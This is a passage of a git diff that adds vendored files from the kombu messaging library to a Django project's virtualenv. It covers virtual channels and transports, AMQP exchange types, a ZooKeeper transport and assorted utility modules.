self.supports_fanout: + self._queue_bind(exchange, *meta) + + def queue_unbind(self, queue, exchange=None, routing_key='', + arguments=None, **kwargs): + # Remove queue binding: + self.state.binding_delete(queue, exchange, routing_key) + try: + table = self.get_table(exchange) + except KeyError: + return + binding_meta = self.typeof(exchange).prepare_bind( + queue, exchange, routing_key, arguments, + ) + # TODO: the complexity of this operation is O(number of bindings). + # Should be optimized. Modifying table in place. + table[:] = [meta for meta in table if meta != binding_meta] + + def list_bindings(self): + return ((queue, exchange, rkey) + for exchange in self.state.exchanges + for rkey, pattern, queue in self.get_table(exchange)) + + def queue_purge(self, queue, **kwargs): + """Remove all ready messages from queue.""" + return self._purge(queue) + + def _next_delivery_tag(self): + return uuid() + + def basic_publish(self, message, exchange, routing_key, **kwargs): + """Publish message.""" + self._inplace_augment_message(message, exchange, routing_key) + if exchange: + return self.typeof(exchange).deliver( + message, exchange, routing_key, **kwargs + ) + # anon exchange: routing_key is the destination queue + return self._put(routing_key, message, **kwargs) + + def _inplace_augment_message(self, message, exchange, routing_key): + message['body'], body_encoding = self.encode_body( + message['body'], self.body_encoding, + ) + props = message['properties'] + props.update( + body_encoding=body_encoding, + delivery_tag=self._next_delivery_tag(), + ) + props['delivery_info'].update( + exchange=exchange, + routing_key=routing_key, + ) + + def basic_consume(self, queue, no_ack, callback, consumer_tag, **kwargs): + """Consume from `queue`.""" + self._tag_to_queue[consumer_tag] = queue + self._active_queues.append(queue) + + def _callback(raw_message): + message = self.Message(raw_message, channel=self) + if not no_ack: + self.qos.append(message, message.delivery_tag) + return callback(message) + + self.connection._callbacks[queue] = _callback + self._consumers.add(consumer_tag) + + self._reset_cycle() + + def basic_cancel(self, consumer_tag): + """Cancel consumer by consumer tag.""" + if consumer_tag in self._consumers: + self._consumers.remove(consumer_tag) + self._reset_cycle() + queue = self._tag_to_queue.pop(consumer_tag, None) + try: + self._active_queues.remove(queue) + except ValueError: + pass + self.connection._callbacks.pop(queue, None) + + def basic_get(self, queue, no_ack=False, **kwargs): + """Get message by direct access (synchronous).""" + try: + message = self.Message(self._get(queue), channel=self) + if not no_ack: + self.qos.append(message, message.delivery_tag) + return message + except Empty: + pass + + def basic_ack(self, delivery_tag, multiple=False): + """Acknowledge message.""" + self.qos.ack(delivery_tag) + + def basic_recover(self, requeue=False): + """Recover unacked messages.""" + if requeue: + return self.qos.restore_unacked() + raise NotImplementedError('Does not support recover(requeue=False)') + + def basic_reject(self, delivery_tag, requeue=False): + """Reject message.""" + self.qos.reject(delivery_tag, requeue=requeue) + + def basic_qos(self, prefetch_size=0, prefetch_count=0, + apply_global=False): + """Change QoS settings for this channel. + + Note: + Only `prefetch_count` is supported. + """ + self.qos.prefetch_count = prefetch_count + + def get_exchanges(self): + return list(self.state.exchanges) + + def get_table(self, exchange): + """Get table of bindings for `exchange`.""" + return self.state.exchanges[exchange]['table'] + + def typeof(self, exchange, default='direct'): + """Get the exchange type instance for `exchange`.""" + try: + type = self.state.exchanges[exchange]['type'] + except KeyError: + type = default + return self.exchange_types[type] + + def _lookup(self, exchange, routing_key, default=None): + """Find all queues matching `routing_key` for the given `exchange`. + + Returns: + str: queue name -- must return the string `default` + if no queues matched. + """ + if default is None: + default = self.deadletter_queue + if not exchange: # anon exchange + return [routing_key or default] + + try: + R = self.typeof(exchange).lookup( + self.get_table(exchange), + exchange, routing_key, default, + ) + except KeyError: + R = [] + + if not R and default is not None: + warnings.warn(UndeliverableWarning(UNDELIVERABLE_FMT.format( + exchange=exchange, routing_key=routing_key)), + ) + self._new_queue(default) + R = [default] + return R + + def _restore(self, message): + """Redeliver message to its original destination.""" + delivery_info = message.delivery_info + message = message.serializable() + message['redelivered'] = True + for queue in self._lookup( + delivery_info['exchange'], delivery_info['routing_key']): + self._put(queue, message) + + def _restore_at_beginning(self, message): + return self._restore(message) + + def drain_events(self, timeout=None, callback=None): + callback = callback or self.connection._deliver + if self._consumers and self.qos.can_consume(): + if hasattr(self, '_get_many'): + return self._get_many(self._active_queues, timeout=timeout) + return self._poll(self.cycle, callback, timeout=timeout) + raise Empty() + + def message_to_python(self, raw_message): + """Convert raw message to :class:`Message` instance.""" + if not isinstance(raw_message, self.Message): + return self.Message(payload=raw_message, channel=self) + return raw_message + + def prepare_message(self, body, priority=None, content_type=None, + content_encoding=None, headers=None, properties=None): + """Prepare message data.""" + properties = properties or {} + properties.setdefault('delivery_info', {}) + properties.setdefault('priority', priority or self.default_priority) + + return {'body': body, + 'content-encoding': content_encoding, + 'content-type': content_type, + 'headers': headers or {}, + 'properties': properties or {}} + + def flow(self, active=True): + """Enable/disable message flow. + + Raises: + NotImplementedError: as flow + is not implemented by the base virtual implementation. + """ + raise NotImplementedError('virtual channels do not support flow.') + + def close(self): + """Close channel. + + Cancel all consumers, and requeue unacked messages. + """ + if not self.closed: + self.closed = True + for consumer in list(self._consumers): + self.basic_cancel(consumer) + if self._qos: + self._qos.restore_unacked_once() + if self._cycle is not None: + self._cycle.close() + self._cycle = None + if self.connection is not None: + self.connection.close_channel(self) + self.exchange_types = None + + def encode_body(self, body, encoding=None): + if encoding: + return self.codecs.get(encoding).encode(body), encoding + return body, encoding + + def decode_body(self, body, encoding=None): + if encoding: + return self.codecs.get(encoding).decode(body) + return body + + def _reset_cycle(self): + self._cycle = FairCycle( + self._get_and_deliver, self._active_queues, Empty) + + def __enter__(self): + return self + + def __exit__(self, *exc_info): + self.close() + + @property + def state(self): + """Broker state containing exchanges and bindings.""" + return self.connection.state + + @property + def qos(self): + """:class:`QoS` manager for this channel.""" + if self._qos is None: + self._qos = self.QoS(self) + return self._qos + + @property + def cycle(self): + if self._cycle is None: + self._reset_cycle() + return self._cycle + + def _get_message_priority(self, message, reverse=False): + """Get priority from message. + + The value is limited to within a boundary of 0 to 9. + + Note: + Higher value has more priority. + """ + try: + priority = max( + min(int(message['properties']['priority']), + self.max_priority), + self.min_priority, + ) + except (TypeError, ValueError, KeyError): + priority = self.default_priority + + return (self.max_priority - priority) if reverse else priority + + def _get_free_channel_id(self): + # Cast to a set for fast lookups, and keep stored as an array + # for lower memory usage. + used_channel_ids = set(self.connection._used_channel_ids) + + for channel_id in range(1, self.connection.channel_max + 1): + if channel_id not in used_channel_ids: + self.connection._used_channel_ids.append(channel_id) + return channel_id + + raise ResourceError( + 'No free channel ids, current={}, channel_max={}'.format( + len(self.connection.channels), + self.connection.channel_max), (20, 10), + ) + + +class Management(base.Management): + """Base class for the AMQP management API.""" + + def __init__(self, transport): + super().__init__(transport) + self.channel = transport.client.channel() + + def get_bindings(self): + return [{'destination': q, 'source': e, 'routing_key': r} + for q, e, r in self.channel.list_bindings()] + + def close(self): + self.channel.close() + + +class Transport(base.Transport): + """Virtual transport. + + Arguments: + client (kombu.Connection): The client this is a transport for. + """ + + Channel = Channel + Cycle = FairCycle + Management = Management + + #: :class:`~kombu.utils.scheduling.FairCycle` instance + #: used to fairly drain events from channels (set by constructor). + cycle = None + + #: port number used when no port is specified. + default_port = None + + #: active channels. + channels = None + + #: queue/callback map. + _callbacks = None + + #: Time to sleep between unsuccessful polls. + polling_interval = 1.0 + + #: Max number of channels + channel_max = 65535 + + implements = base.Transport.implements.extend( + asynchronous=False, + exchange_type=frozenset(['direct', 'topic']), + heartbeats=False, + ) + + def __init__(self, client, **kwargs): + self.client = client + # :class:`BrokerState` containing declared exchanges and bindings. + self.state = BrokerState() + self.channels = [] + self._avail_channels = [] + self._callbacks = {} + self.cycle = self.Cycle(self._drain_channel, self.channels, Empty) + polling_interval = client.transport_options.get('polling_interval') + if polling_interval is not None: + self.polling_interval = polling_interval + self._used_channel_ids = array(ARRAY_TYPE_H) + + def create_channel(self, connection): + try: + return self._avail_channels.pop() + except IndexError: + channel = self.Channel(connection) + self.channels.append(channel) + return channel + + def close_channel(self, channel): + try: + try: + self._used_channel_ids.remove(channel.channel_id) + except ValueError: + # channel id already removed + pass + try: + self.channels.remove(channel) + except ValueError: + pass + finally: + channel.connection = None + + def establish_connection(self): + # creates channel to verify connection. + # this channel is then used as the next requested channel. + # (returned by ``create_channel``). + self._avail_channels.append(self.create_channel(self)) + return self # for drain events + + def close_connection(self, connection): + self.cycle.close() + for chan_list in self._avail_channels, self.channels: + while chan_list: + try: + channel = chan_list.pop() + except LookupError: # pragma: no cover + pass + else: + channel.close() + + def drain_events(self, connection, timeout=None): + time_start = monotonic() + get = self.cycle.get + polling_interval = self.polling_interval + if timeout and polling_interval and polling_interval > timeout: + polling_interval = timeout + while 1: + try: + get(self._deliver, timeout=timeout) + except Empty: + if timeout is not None and monotonic() - time_start >= timeout: + raise socket.timeout() + if polling_interval is not None: + sleep(polling_interval) + else: + break + + def _deliver(self, message, queue): + if not queue: + raise KeyError( + 'Received message without destination queue: {}'.format( + message)) + try: + callback = self._callbacks[queue] + except KeyError: + logger.warning(W_NO_CONSUMERS, queue) + self._reject_inbound_message(message) + else: + callback(message) + + def _reject_inbound_message(self, raw_message): + for channel in self.channels: + if channel: + message = channel.Message(raw_message, channel=channel) + channel.qos.append(message, message.delivery_tag) + channel.basic_reject(message.delivery_tag, requeue=True) + break + + def on_message_ready(self, channel, message, queue): + if not queue or queue not in self._callbacks: + raise KeyError( + 'Message for queue {!r} without consumers: {}'.format( + queue, message)) + self._callbacks[queue](message) + + def _drain_channel(self, channel, callback, timeout=None): + return channel.drain_events(callback=callback, timeout=timeout) + + @property + def default_connection_params(self): + return {'port': self.default_port, 'hostname': 'localhost'} diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/transport/virtual/exchange.py b/django_lottopy/lib/python3.10/site-packages/kombu/transport/virtual/exchange.py new file mode 100644 index 00000000..c6b6161c --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/transport/virtual/exchange.py @@ -0,0 +1,158 @@ +"""Virtual AMQ Exchange. + +Implementations of the standard exchanges defined +by the AMQ protocol (excluding the `headers` exchange). +""" + +import re + +from kombu.utils.text import escape_regex + + +class ExchangeType: + """Base class for exchanges. + + Implements the specifics for an exchange type. + + Arguments: + channel (ChannelT): AMQ Channel. + """ + + type = None + + def __init__(self, channel): + self.channel = channel + + def lookup(self, table, exchange, routing_key, default): + """Lookup all queues matching `routing_key` in `exchange`. + + Returns: + str: queue name, or 'default' if no queues matched. + """ + raise NotImplementedError('subclass responsibility') + + def prepare_bind(self, queue, exchange, routing_key, arguments): + """Prepare queue-binding. + + Returns: + Tuple[str, Pattern, str]: of `(routing_key, regex, queue)` + to be stored for bindings to this exchange. + """ + return routing_key, None, queue + + def equivalent(self, prev, exchange, type, + durable, auto_delete, arguments): + """Return true if `prev` and `exchange` is equivalent.""" + return (type == prev['type'] and + durable == prev['durable'] and + auto_delete == prev['auto_delete'] and + (arguments or {}) == (prev['arguments'] or {})) + + +class DirectExchange(ExchangeType): + """Direct exchange. + + The `direct` exchange routes based on exact routing keys. + """ + + type = 'direct' + + def lookup(self, table, exchange, routing_key, default): + return { + queue for rkey, _, queue in table + if rkey == routing_key + } + + def deliver(self, message, exchange, routing_key, **kwargs): + _lookup = self.channel._lookup + _put = self.channel._put + for queue in _lookup(exchange, routing_key): + _put(queue, message, **kwargs) + + +class TopicExchange(ExchangeType): + """Topic exchange. + + The `topic` exchange routes messages based on words separated by + dots, using wildcard characters ``*`` (any single word), and ``#`` + (one or more words). + """ + + type = 'topic' + + #: map of wildcard to regex conversions + wildcards = {'*': r'.*?[^\.]', + '#': r'.*?'} + + #: compiled regex cache + _compiled = {} + + def lookup(self, table, exchange, routing_key, default): + return { + queue for rkey, pattern, queue in table + if self._match(pattern, routing_key) + } + + def deliver(self, message, exchange, routing_key, **kwargs): + _lookup = self.channel._lookup + _put = self.channel._put + deadletter = self.channel.deadletter_queue + for queue in [q for q in _lookup(exchange, routing_key) + if q and q != deadletter]: + _put(queue, message, **kwargs) + + def prepare_bind(self, queue, exchange, routing_key, arguments): + return routing_key, self.key_to_pattern(routing_key), queue + + def key_to_pattern(self, rkey): + """Get the corresponding regex for any routing key.""" + return '^%s$' % (r'\.'.join( + self.wildcards.get(word, word) + for word in escape_regex(rkey, '.#*').split('.') + )) + + def _match(self, pattern, string): + """Match regular expression (cached). + + Same as :func:`re.match`, except the regex is compiled and cached, + then reused on subsequent matches with the same pattern. + """ + try: + compiled = self._compiled[pattern] + except KeyError: + compiled = self._compiled[pattern] = re.compile(pattern, re.U) + return compiled.match(string) + + +class FanoutExchange(ExchangeType): + """Fanout exchange. + + The `fanout` exchange implements broadcast messaging by delivering + copies of all messages to all queues bound to the exchange. + + To support fanout the virtual channel needs to store the table + as shared state. This requires that the `Channel.supports_fanout` + attribute is set to true, and the `Channel._queue_bind` and + `Channel.get_table` methods are implemented. + + See Also: + the redis backend for an example implementation of these methods. + """ + + type = 'fanout' + + def lookup(self, table, exchange, routing_key, default): + return {queue for _, _, queue in table} + + def deliver(self, message, exchange, routing_key, **kwargs): + if self.channel.supports_fanout: + self.channel._put_fanout( + exchange, message, routing_key, **kwargs) + + +#: Map of standard exchange types and corresponding classes. +STANDARD_EXCHANGE_TYPES = { + 'direct': DirectExchange, + 'topic': TopicExchange, + 'fanout': FanoutExchange, +} diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/transport/zookeeper.py b/django_lottopy/lib/python3.10/site-packages/kombu/transport/zookeeper.py new file mode 100644 index 00000000..1a2ab63c --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/transport/zookeeper.py @@ -0,0 +1,221 @@ +# copyright: (c) 2010 - 2013 by Mahendra M. +# license: BSD, see LICENSE for more details. + +"""Zookeeper transport module for kombu. + +Zookeeper based transport. This transport uses the built-in kazoo Zookeeper +based queue implementation. + +**References** + +- https://zookeeper.apache.org/doc/current/recipes.html#sc_recipes_Queues +- https://kazoo.readthedocs.io/en/latest/api/recipe/queue.html + +**Limitations** +This queue does not offer reliable consumption. An entry is removed from +the queue prior to being processed. So if an error occurs, the consumer +has to re-queue the item or it will be lost. + +Features +======== +* Type: Virtual +* Supports Direct: Yes +* Supports Topic: Yes +* Supports Fanout: No +* Supports Priority: Yes +* Supports TTL: No + +Connection String +================= +Connects to a zookeeper node as: + +.. code-block:: + + zookeeper://SERVER:PORT/VHOST + +The becomes the base for all the other znodes. So we can use +it like a vhost. + + +Transport Options +================= + +""" + +import os +import socket +from queue import Empty + +from kombu.utils.encoding import bytes_to_str, ensure_bytes +from kombu.utils.json import dumps, loads + +from . import virtual + +try: + import kazoo + from kazoo.client import KazooClient + from kazoo.recipe.queue import Queue + + KZ_CONNECTION_ERRORS = ( + kazoo.exceptions.SystemErrorException, + kazoo.exceptions.ConnectionLossException, + kazoo.exceptions.MarshallingErrorException, + kazoo.exceptions.UnimplementedException, + kazoo.exceptions.OperationTimeoutException, + kazoo.exceptions.NoAuthException, + kazoo.exceptions.InvalidACLException, + kazoo.exceptions.AuthFailedException, + kazoo.exceptions.SessionExpiredException, + ) + + KZ_CHANNEL_ERRORS = ( + kazoo.exceptions.RuntimeInconsistencyException, + kazoo.exceptions.DataInconsistencyException, + kazoo.exceptions.BadArgumentsException, + kazoo.exceptions.MarshallingErrorException, + kazoo.exceptions.UnimplementedException, + kazoo.exceptions.OperationTimeoutException, + kazoo.exceptions.ApiErrorException, + kazoo.exceptions.NoNodeException, + kazoo.exceptions.NoAuthException, + kazoo.exceptions.NodeExistsException, + kazoo.exceptions.NoChildrenForEphemeralsException, + kazoo.exceptions.NotEmptyException, + kazoo.exceptions.SessionExpiredException, + kazoo.exceptions.InvalidCallbackException, + socket.error, + ) +except ImportError: + kazoo = None + KZ_CONNECTION_ERRORS = KZ_CHANNEL_ERRORS = () + +DEFAULT_PORT = 2181 + +__author__ = 'Mahendra M ' + + +class Channel(virtual.Channel): + """Zookeeper Channel.""" + + _client = None + _queues = {} + + def __init__(self, connection, **kwargs): + super().__init__(connection, **kwargs) + vhost = self.connection.client.virtual_host + self._vhost = '/{}'.format(vhost.strip('/')) + + def _get_path(self, queue_name): + return os.path.join(self._vhost, queue_name) + + def _get_queue(self, queue_name): + queue = self._queues.get(queue_name, None) + + if queue is None: + queue = Queue(self.client, self._get_path(queue_name)) + self._queues[queue_name] = queue + + # Ensure that the queue is created + len(queue) + + return queue + + def _put(self, queue, message, **kwargs): + return self._get_queue(queue).put( + ensure_bytes(dumps(message)), + priority=self._get_message_priority(message, reverse=True), + ) + + def _get(self, queue): + queue = self._get_queue(queue) + msg = queue.get() + + if msg is None: + raise Empty() + + return loads(bytes_to_str(msg)) + + def _purge(self, queue): + count = 0 + queue = self._get_queue(queue) + + while True: + msg = queue.get() + if msg is None: + break + count += 1 + + return count + + def _delete(self, queue, *args, **kwargs): + if self._has_queue(queue): + self._purge(queue) + self.client.delete(self._get_path(queue)) + + def _size(self, queue): + queue = self._get_queue(queue) + return len(queue) + + def _new_queue(self, queue, **kwargs): + if not self._has_queue(queue): + queue = self._get_queue(queue) + + def _has_queue(self, queue): + return self.client.exists(self._get_path(queue)) is not None + + def _open(self): + conninfo = self.connection.client + hosts = [] + if conninfo.alt: + for host_port in conninfo.alt: + if host_port.startswith('zookeeper://'): + host_port = host_port[len('zookeeper://'):] + if not host_port: + continue + try: + host, port = host_port.split(':', 1) + host_port = (host, int(port)) + except ValueError: + if host_port == conninfo.hostname: + host_port = (host_port, conninfo.port or DEFAULT_PORT) + else: + host_port = (host_port, DEFAULT_PORT) + hosts.append(host_port) + host_port = (conninfo.hostname, conninfo.port or DEFAULT_PORT) + if host_port not in hosts: + hosts.insert(0, host_port) + conn_str = ','.join([f'{h}:{p}' for h, p in hosts]) + conn = KazooClient(conn_str) + conn.start() + return conn + + @property + def client(self): + if self._client is None: + self._client = self._open() + return self._client + + +class Transport(virtual.Transport): + """Zookeeper Transport.""" + + Channel = Channel + polling_interval = 1 + default_port = DEFAULT_PORT + connection_errors = ( + virtual.Transport.connection_errors + KZ_CONNECTION_ERRORS + ) + channel_errors = ( + virtual.Transport.channel_errors + KZ_CHANNEL_ERRORS + ) + driver_type = 'zookeeper' + driver_name = 'kazoo' + + def __init__(self, *args, **kwargs): + if kazoo is None: + raise ImportError('The kazoo library is not installed') + + super().__init__(*args, **kwargs) + + def driver_version(self): + return kazoo.__version__ diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/utils/__init__.py b/django_lottopy/lib/python3.10/site-packages/kombu/utils/__init__.py new file mode 100644 index 00000000..304e2dfa --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/utils/__init__.py @@ -0,0 +1,18 @@ +"""DEPRECATED - Import from modules below.""" + +from .collections import EqualityDict +from .compat import fileno, maybe_fileno, nested, register_after_fork +from .div import emergency_dump_state +from .functional import (fxrange, fxrangemax, maybe_list, reprcall, + retry_over_time) +from .imports import symbol_by_name +from .objects import cached_property +from .uuid import uuid + +__all__ = ( + 'EqualityDict', 'uuid', 'maybe_list', + 'fxrange', 'fxrangemax', 'retry_over_time', + 'emergency_dump_state', 'cached_property', + 'register_after_fork', 'reprkwargs', 'reprcall', + 'symbol_by_name', 'nested', 'fileno', 'maybe_fileno', +) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/utils/amq_manager.py b/django_lottopy/lib/python3.10/site-packages/kombu/utils/amq_manager.py new file mode 100644 index 00000000..7491bb25 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/utils/amq_manager.py @@ -0,0 +1,19 @@ +"""AMQP Management API utilities.""" + + +def get_manager(client, hostname=None, port=None, userid=None, + password=None): + """Get pyrabbit manager.""" + import pyrabbit + opt = client.transport_options.get + + def get(name, val, default): + return (val if val is not None + else opt('manager_%s' % name) or + getattr(client, name, None) or default) + + host = get('hostname', hostname, 'localhost') + port = port if port is not None else opt('manager_port', 15672) + userid = get('userid', userid, 'guest') + password = get('password', password, 'guest') + return pyrabbit.Client(f'{host}:{port}', userid, password) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/utils/collections.py b/django_lottopy/lib/python3.10/site-packages/kombu/utils/collections.py new file mode 100644 index 00000000..77781047 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/utils/collections.py @@ -0,0 +1,42 @@ +"""Custom maps, sequences, etc.""" + + +class HashedSeq(list): + """Hashed Sequence. + + Type used for hash() to make sure the hash is not generated + multiple times. + """ + + __slots__ = 'hashvalue' + + def __init__(self, *seq): + self[:] = seq + self.hashvalue = hash(seq) + + def __hash__(self): + return self.hashvalue + + +def eqhash(o): + """Call ``obj.__eqhash__``.""" + try: + return o.__eqhash__() + except AttributeError: + return hash(o) + + +class EqualityDict(dict): + """Dict using the eq operator for keying.""" + + def __getitem__(self, key): + h = eqhash(key) + if h not in self: + return self.__missing__(key) + return super().__getitem__(h) + + def __setitem__(self, key, value): + return super().__setitem__(eqhash(key), value) + + def __delitem__(self, key): + return super().__delitem__(eqhash(key)) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/utils/compat.py b/django_lottopy/lib/python3.10/site-packages/kombu/utils/compat.py new file mode 100644 index 00000000..ffc224c1 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/utils/compat.py @@ -0,0 +1,132 @@ +"""Python Compatibility Utilities.""" + +import numbers +import sys +from contextlib import contextmanager +from functools import wraps + +try: + from importlib import metadata as importlib_metadata +except ImportError: + # TODO: Remove this when we drop support for Python 3.7 + import importlib_metadata + +from io import UnsupportedOperation + +from kombu.exceptions import reraise + +FILENO_ERRORS = (AttributeError, ValueError, UnsupportedOperation) + +try: + from billiard.util import register_after_fork +except ImportError: # pragma: no cover + try: + from multiprocessing.util import register_after_fork + except ImportError: + register_after_fork = None + + +_environment = None + + +def coro(gen): + """Decorator to mark generator as co-routine.""" + @wraps(gen) + def wind_up(*args, **kwargs): + it = gen(*args, **kwargs) + next(it) + return it + return wind_up + + +def _detect_environment(): + # ## -eventlet- + if 'eventlet' in sys.modules: + try: + import socket + + from eventlet.patcher import is_monkey_patched as is_eventlet + + if is_eventlet(socket): + return 'eventlet' + except ImportError: + pass + + # ## -gevent- + if 'gevent' in sys.modules: + try: + import socket + + from gevent import socket as _gsocket + + if socket.socket is _gsocket.socket: + return 'gevent' + except ImportError: + pass + + return 'default' + + +def detect_environment(): + """Detect the current environment: default, eventlet, or gevent.""" + global _environment + if _environment is None: + _environment = _detect_environment() + return _environment + + +def entrypoints(namespace): + """Return setuptools entrypoints for namespace.""" + return ( + (ep, ep.load()) + for ep in importlib_metadata.entry_points().get(namespace, []) + ) + + +def fileno(f): + """Get fileno from file-like object.""" + if isinstance(f, numbers.Integral): + return f + return f.fileno() + + +def maybe_fileno(f): + """Get object fileno, or :const:`None` if not defined.""" + try: + return fileno(f) + except FILENO_ERRORS: + pass + + +@contextmanager +def nested(*managers): # pragma: no cover + """Nest context managers.""" + # flake8: noqa + exits = [] + vars = [] + exc = (None, None, None) + try: + try: + for mgr in managers: + exit = mgr.__exit__ + enter = mgr.__enter__ + vars.append(enter()) + exits.append(exit) + yield vars + except: + exc = sys.exc_info() + finally: + while exits: + exit = exits.pop() + try: + if exit(*exc): + exc = (None, None, None) + except: + exc = sys.exc_info() + if exc != (None, None, None): + # Don't rely on sys.exc_info() still containing + # the right information. Another exception may + # have been raised and caught by an exit method + reraise(exc[0], exc[1], exc[2]) + finally: + del(exc) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/utils/debug.py b/django_lottopy/lib/python3.10/site-packages/kombu/utils/debug.py new file mode 100644 index 00000000..acc2d60b --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/utils/debug.py @@ -0,0 +1,60 @@ +"""Debugging support.""" + +import logging + +from vine.utils import wraps + +from kombu.log import get_logger + +__all__ = ('setup_logging', 'Logwrapped') + + +def setup_logging(loglevel=logging.DEBUG, loggers=None): + """Setup logging to stdout.""" + loggers = ['kombu.connection', 'kombu.channel'] if not loggers else loggers + for logger_name in loggers: + logger = get_logger(logger_name) + logger.addHandler(logging.StreamHandler()) + logger.setLevel(loglevel) + + +class Logwrapped: + """Wrap all object methods, to log on call.""" + + __ignore = ('__enter__', '__exit__') + + def __init__(self, instance, logger=None, ident=None): + self.instance = instance + self.logger = get_logger(logger) + self.ident = ident + + def __getattr__(self, key): + meth = getattr(self.instance, key) + + if not callable(meth) or key in self.__ignore: + return meth + + @wraps(meth) + def __wrapped(*args, **kwargs): + info = '' + if self.ident: + info += self.ident.format(self.instance) + info += f'{meth.__name__}(' + if args: + info += ', '.join(map(repr, args)) + if kwargs: + if args: + info += ', ' + info += ', '.join(f'{key}={value!r}' + for key, value in kwargs.items()) + info += ')' + self.logger.debug(info) + return meth(*args, **kwargs) + + return __wrapped + + def __repr__(self): + return repr(self.instance) + + def __dir__(self): + return dir(self.instance) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/utils/div.py b/django_lottopy/lib/python3.10/site-packages/kombu/utils/div.py new file mode 100644 index 00000000..45be7f94 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/utils/div.py @@ -0,0 +1,33 @@ +"""Div. Utilities.""" + +import sys + +from .encoding import default_encode + + +def emergency_dump_state(state, open_file=open, dump=None, stderr=None): + """Dump message state to stdout or file.""" + from pprint import pformat + from tempfile import mktemp + stderr = sys.stderr if stderr is None else stderr + + if dump is None: + import pickle + dump = pickle.dump + persist = mktemp() + print(f'EMERGENCY DUMP STATE TO FILE -> {persist} <-', + file=stderr) + fh = open_file(persist, 'w') + try: + try: + dump(state, fh, protocol=0) + except Exception as exc: + print( + f'Cannot pickle state: {exc!r}. Fallback to pformat.', + file=stderr, + ) + fh.write(default_encode(pformat(state))) + finally: + fh.flush() + fh.close() + return persist diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/utils/encoding.py b/django_lottopy/lib/python3.10/site-packages/kombu/utils/encoding.py new file mode 100644 index 00000000..5f58f0fa --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/utils/encoding.py @@ -0,0 +1,95 @@ +"""Text encoding utilities. + +Utilities to encode text, and to safely emit text from running +applications without crashing from the infamous +:exc:`UnicodeDecodeError` exception. +""" + +import sys +import traceback + +#: safe_str takes encoding from this file by default. +#: :func:`set_default_encoding_file` can used to set the +#: default output file. +default_encoding_file = None + + +def set_default_encoding_file(file): + """Set file used to get codec information.""" + global default_encoding_file + default_encoding_file = file + + +def get_default_encoding_file(): + """Get file used to get codec information.""" + return default_encoding_file + + +if sys.platform.startswith('java'): # pragma: no cover + + def default_encoding(file=None): + """Get default encoding.""" + return 'utf-8' +else: + + def default_encoding(file=None): + """Get default encoding.""" + file = file or get_default_encoding_file() + return getattr(file, 'encoding', None) or sys.getfilesystemencoding() + + +def str_to_bytes(s): + """Convert str to bytes.""" + if isinstance(s, str): + return s.encode() + return s + + +def bytes_to_str(s): + """Convert bytes to str.""" + if isinstance(s, bytes): + return s.decode(errors='replace') + return s + + +def from_utf8(s, *args, **kwargs): + """Get str from utf-8 encoding.""" + return s + + +def ensure_bytes(s): + """Ensure s is bytes, not str.""" + if not isinstance(s, bytes): + return str_to_bytes(s) + return s + + +def default_encode(obj): + """Encode using default encoding.""" + return obj + + +def safe_str(s, errors='replace'): + """Safe form of str(), void of unicode errors.""" + s = bytes_to_str(s) + if not isinstance(s, (str, bytes)): + return safe_repr(s, errors) + return _safe_str(s, errors) + + +def _safe_str(s, errors='replace', file=None): + if isinstance(s, str): + return s + try: + return str(s) + except Exception as exc: + return ''.format( + type(s), exc, '\n'.join(traceback.format_stack())) + + +def safe_repr(o, errors='replace'): + """Safe form of repr, void of Unicode errors.""" + try: + return repr(o) + except Exception: + return _safe_str(o, errors) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/utils/eventio.py b/django_lottopy/lib/python3.10/site-packages/kombu/utils/eventio.py new file mode 100644 index 00000000..48260a48 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/utils/eventio.py @@ -0,0 +1,327 @@ +"""Selector Utilities.""" + +import errno +import math +import select as __select__ +import sys +from numbers import Integral + +from . import fileno +from .compat import detect_environment + +__all__ = ('poll',) + +_selectf = __select__.select +_selecterr = __select__.error +xpoll = getattr(__select__, 'poll', None) +epoll = getattr(__select__, 'epoll', None) +kqueue = getattr(__select__, 'kqueue', None) +kevent = getattr(__select__, 'kevent', None) +KQ_EV_ADD = getattr(__select__, 'KQ_EV_ADD', 1) +KQ_EV_DELETE = getattr(__select__, 'KQ_EV_DELETE', 2) +KQ_EV_ENABLE = getattr(__select__, 'KQ_EV_ENABLE', 4) +KQ_EV_CLEAR = getattr(__select__, 'KQ_EV_CLEAR', 32) +KQ_EV_ERROR = getattr(__select__, 'KQ_EV_ERROR', 16384) +KQ_EV_EOF = getattr(__select__, 'KQ_EV_EOF', 32768) +KQ_FILTER_READ = getattr(__select__, 'KQ_FILTER_READ', -1) +KQ_FILTER_WRITE = getattr(__select__, 'KQ_FILTER_WRITE', -2) +KQ_FILTER_AIO = getattr(__select__, 'KQ_FILTER_AIO', -3) +KQ_FILTER_VNODE = getattr(__select__, 'KQ_FILTER_VNODE', -4) +KQ_FILTER_PROC = getattr(__select__, 'KQ_FILTER_PROC', -5) +KQ_FILTER_SIGNAL = getattr(__select__, 'KQ_FILTER_SIGNAL', -6) +KQ_FILTER_TIMER = getattr(__select__, 'KQ_FILTER_TIMER', -7) +KQ_NOTE_LOWAT = getattr(__select__, 'KQ_NOTE_LOWAT', 1) +KQ_NOTE_DELETE = getattr(__select__, 'KQ_NOTE_DELETE', 1) +KQ_NOTE_WRITE = getattr(__select__, 'KQ_NOTE_WRITE', 2) +KQ_NOTE_EXTEND = getattr(__select__, 'KQ_NOTE_EXTEND', 4) +KQ_NOTE_ATTRIB = getattr(__select__, 'KQ_NOTE_ATTRIB', 8) +KQ_NOTE_LINK = getattr(__select__, 'KQ_NOTE_LINK', 16) 